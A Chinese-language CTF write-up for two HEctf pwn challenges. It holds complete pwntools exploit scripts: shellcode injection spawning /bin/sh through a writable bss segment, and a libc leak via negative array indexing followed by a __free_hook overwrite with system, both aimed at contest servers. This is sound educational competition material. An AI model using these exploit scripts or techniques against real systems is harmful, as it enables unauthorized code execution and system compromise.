nums
checsec
matrix@ubuntu:~/PWN/HEctf$ checksec nums
[*] '/home/matrix/PWN/HEctf/nums'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
没开保护,RWX段大概率是shellcode
IDA–关键代码
__isoc99_scanf("%d", &c);
if ( !(unsigned int)strange_check1(c) || !(unsigned int)strange_check2(c) )
exit(0);
puts("pass the check");
v3 = (unsigned int)c;
memset(&bss, c, 0x400uLL);
puts("input your secret: 11 magic numbers");
for ( i = 0; i <= 10; ++i )
{
v3 = (unsigned __int64)&v6[i];
__isoc99_scanf("%d", v3);
}
puts("Now,only you and the GOD know your secret...");
v4 = time(0LL);
srand(v4);
for ( j = 0; j <= 10; ++j )
{
do
{
do
v8 = rand() % 1024; // v8 == 0~1023
while ( 93 * (j + 1) <= v8 ); // (93~1023) <= v8
}
while ( 93 * j > v8 ); // (0~930) > v8
*(_DWORD *)((char *)&bss + v8) = v6[j];
}
程序的意思是:在绕过第一个if语句后让我们进行11次整型输入,然后将这11次输入的值用一个循环插入bss段上,最后call bss。
注意根据随机数进行数值插入的循环体,他的插入顺序虽然是随机的但是一定是从大到小的
思路
- 第一个if语句的绕过要求数字必须是最高位为1(用有符号数绕过第一个check)然后4个字节的前三个字节不能与最后一个字节一样
- 绕过成功后根据mmset,会将我们的输入的最后一个字节覆盖bss段
- 读入11个4字节数值,然后随机分别插入bss段
- 最后call bss
所以先用0x91483990绕过第一个判断的同时根据mmset用0x90(nop)覆盖bss段
然后我们只要插入shellcode即可。注意到每次只能插入4个字节,所以我的方法是:插入read(0,bss,0x400);call bss否则/bin/sh是无法用4个字节插入的
EXP
#+++++++++++++++++++exp.py++++++++++++++++++++
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: Sat Nov 21 13:56:49 CST 2020
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./nums')
#libc = ELF('null')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
sh = process('./nums')
sh = remote('121.196.32.184',12002)
padding = '0x91483990'
sh.sendlineafter('ZEROs\n','2437429648')
#gdb.attach(sh,'b*0x400B12')
count=0
for i in [2428514632,2432643400,2429978952,2425357583,2425410303,0x90,0x90,0x90,0x90,0x90,0x90]: #这里事先将16进制机器码转换为int,如果小于4字节用0x90补齐
print count
count+=1
sh.sendline(str(i))
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
sh.sendline(shellcode)
sh.interactive()
注意:程序在call rdx来执行bss段,rdx存放了bss的地址,所以我们可以直接mov rsi,rdx 而不是mov rsi(esi),bss 否则至少需要5个字节存放机器码
摩尔庄园的记忆
checksec
[*] '/home/matrix/PWN/HEctf/Moles/Moles_world'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
只关闭了RELRO,所以可能是篡改got表
思路
这个题漏洞就是数组越界当下标为负数时所有选项都没有检查,我本来想泄露elf地址的然后想办法篡改got表,但是一直没成功,坐等大佬WP
然后换了一个思路。
- 利用rename函数数组越界将bss段上stderr的结构体的flag字段进行填充,然后配合show函数泄露下一字段的值,也就是_IO_read_ptr 因为缓冲区关闭所以其指向stderr_addr+131,从而获得stderr结构体的地址
- 用LibcSearcher虽然有8个结果但是没一个正确的libc版本,还是在最后放出了libc下载地址,否则这个题我应该是写不出
- 利用.data段的一个指针:dso_handle,其始终指向自己所在的地址,这样我们就可以利用rename将其覆盖为free_hook地址,然后再利用一次rename向__free_hook写入system
- 我从来没见过这符号,上网搜一下其大概的作用一个守卫有点复杂,就不深究了
EXP
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: 2020.11.21 22.01.31
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
from LibcSearcher import*
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./Moles_world')
#libc = ELF('null')
#libc=ELF('/glibc/x64/2.27/lib/libc-2.27.so')
libc=ELF('./libc6_2.27-3ubuntu1.3_amd64.so')
def add(index,name):
sh.sendlineafter('[now] > ','G')
sh.sendlineafter("[lahm's index] > ",str(index))
sh.sendafter("[lahm's name] > ",str(name))
def rename(index,name):
sh.sendlineafter('[now] > ','R')
sh.sendlineafter("[lahm's index] > ",str(index))
sh.sendafter("[lahm's name begin ten char] > ",str(name))
def abandon(index):
sh.sendlineafter('[now] > ','A')
sh.sendlineafter("[lahm's index] > ",str(index))
def show(index):
sh.sendlineafter('[now] > ','S')
sh.sendlineafter("[lahm's index] > ",str(index))
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
def pwn():
add(0,'/bin/sh\x00')
#gdb.attach(sh)
rename(-4,p32(0xfbad208b).ljust(8,'A'))
show(-4)
sh.recvuntil('name] > ')
sh.recv(8)
stderr_addr = u64(sh.recv(6).ljust(8,'\x00')) - 131
libc_addr = stderr_addr-libc.sym['_IO_2_1_stderr_']
show_addr('libc_addr',libc_addr)
system = libc_addr+libc.sym['system']
show_addr('system',system)
show_addr('stderr_addr',stderr_addr)
rename(-12,p64(libc_addr+libc.sym['__free_hook']))
rename(-12,p64(system))
sh.sendlineafter('[now] > ','A')
sh.sendlineafter("[lahm's index] > ",str(0))
sh.interactive()
if __name__ == "__main__":
while True :
try:
sh = remote('114.55.165.246',21001)
pwn()
except:
sh.close()
小结
- 这是第一次认真参与的一个比赛,虽然没什么名次但是,终于再比赛上做出自己力所能及的题目还是很不错的
- 第三题的EXP不是很完美有点取巧,坐等WP
libc查询下载:https://libc.rip/
https://libc.blukat.me/